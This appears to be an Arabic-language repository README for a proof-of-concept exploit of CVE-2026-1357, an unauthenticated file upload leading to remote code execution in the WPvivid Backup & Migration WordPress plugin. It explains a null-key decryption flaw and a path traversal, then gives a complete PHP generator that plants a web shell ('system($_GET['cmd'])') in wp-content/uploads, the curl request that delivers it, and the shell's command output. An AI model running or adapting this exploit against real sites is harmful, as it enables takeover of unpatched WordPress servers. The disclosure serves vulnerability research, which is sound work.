
إثبات مفهوم لاستغلال CVE-2026-1357، وهو رفع ملفات تعسفي غير مصادق عليه يؤدي إلى تنفيذ أوامر عن بُعد (RCE) في إضافة WPvivid Backup & Migration، مع مولّد استغلال وتعليمات التنفيذ.
اكتشفه: Lucas Montes (NiRoX)
الثغرة: رفع ملفات تعسفي غير مصادق عليه يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE)
معرف CVE: CVE-2026-1357
CVSS: حرجة (9.8)
الحالة: تم إصلاحها في الإصدار 0.9.124
يحتوي هذا المستودع على التحليل وإثبات المفهوم (PoC) لثغرة حرجة في إضافة WPvivid Backup & Migration الخاصة بووردبريس (الإصدارات <= 0.9.123).
تسمح الثغرة لمهاجم غير مصادق عليه برفع ملفات تعسفية (مثل قذائف PHP) إلى الخادم، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) فورًا. يحدث هذا بسبب خلل منطقي في معالجة الأخطاء التشفيرية (Fail-Open) مقترنًا بثغرة اجتياز المسار (Path Traversal).
تكمن الثغرة في الطريقة التي تتعامل بها الإضافة مع طلبات نقل النسخ الاحتياطي عن بُعد عبر خطاف wpvivid_action=send_to_site. تتكون سلسلة الاستغلال من ثغرتين منفصلتين تعملان معًا:
عندما تستقبل الإضافة طلب نقل، تحاول فك تشفير مفتاح الجلسة المقدم باستخدام openssl_private_decrypt().
false. منطق الإضافة لا يتحقق من هذه القيمة المنطقية ويستمر في تمرير false إلى مكتبة phpseclib لتهيئة تشفير AES.phpseclib، يتم التعامل مع المفتاح false أو الفارغ كسلسلة من البايتات الصفرية (\0\0...). يسمح هذا للمهاجم بتشفير حمولة خبيثة باستخدام مفتاح فارغ 128-بت، متجاوزًا الحاجة إلى المفتاح الخاص الفعلي.بمجرد "فك تشفير" الحمولة بنجاح باستخدام المفتاح الفارغ، تقوم الإضافة بمعالجة محتوى JSON.
name داخل حمولة JSON غير معقّمة.../) للهروب من دليل النسخ الاحتياطي المقيد للإضافة (المحمي عادةً بواسطة .htaccess) وكتابة ملف PHP خبيث في الدليل العام wp-content/uploads/.القيود:
wpvivid_api_token، يسمح مسار الكود الضعيف بفشل الطلب بصمت.يعتمد الاستغلال على سلوك phpseclib (الإصدار 1). لتشغيل المولّد محليًا، تحتاج إلى ملفات المكتبة:
mkdir -p phpseclib/Crypt
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Rijndael.php -O phpseclib/Crypt/Rijndael.php
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Base.php -O phpseclib/Crypt/Base.php
exploit.php)ينشئ هذا السكربت حمولة مشفرة بمفتاح فارغ ويتضمن اجتياز المسار لرفع قذيفة.
<?php
// exploit.php - Authored by Lucas Montes (NiRoX)
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');
// 1. Initialize Rijndael (AES)
$rij = new Crypt_Rijndael();
$rij->setBlockLength(128);
// 2. VULNERABILITY REPRODUCTION
// The server defaults to a null key when RSA decryption fails (returns false).
// We set our local key to 16 null bytes to match the server's vulnerable state.
$rij->setKey(str_repeat("\0", 16));
// 3. The Payload
$shell_content = '<?php system($_GET["cmd"]); ?>';
// 4. The JSON Object with Path Traversal
// We traverse up to /uploads/ to bypass .htaccess restrictions
$params = [
"backup_id" => "1",
"name" => "../uploads/pwn_remote.php",
"data" => base64_encode($shell_content),
"offset" => 0,
"file_size" => strlen($shell_content),
"total_size" => strlen($shell_content),
"index" => 0,
"md5" => md5($shell_content),
"type" => "backup",
"status" => "running"
];
// 5. Encrypt with Null Key
$encrypted = $rij->encrypt(json_encode($params));
// 6. Construct Packet
// "ABC" is the fake RSA key that triggers the 'false' return on the server
$fake_key = "ABC";
$payload = str_pad(dechex(strlen($fake_key)), 3, "0", STR_PAD_LEFT)
. $fake_key
. str_pad(dechex(strlen($encrypted)), 16, "0", STR_PAD_LEFT)
. $encrypted;
echo base64_encode($payload);
?>
PAYLOAD=$(php exploit.php)
curl -i -s -X POST 'http://TARGET-URL/' \
-d 'wpvivid_action=send_to_site' \
--data-urlencode "wpvivid_content=$PAYLOAD"
http://TARGET-URL/wp-content/uploads/pwn_remote.php?cmd=id
النتيجة:
uid=33(www-data) gid=33(www-data) groups=33(www-data)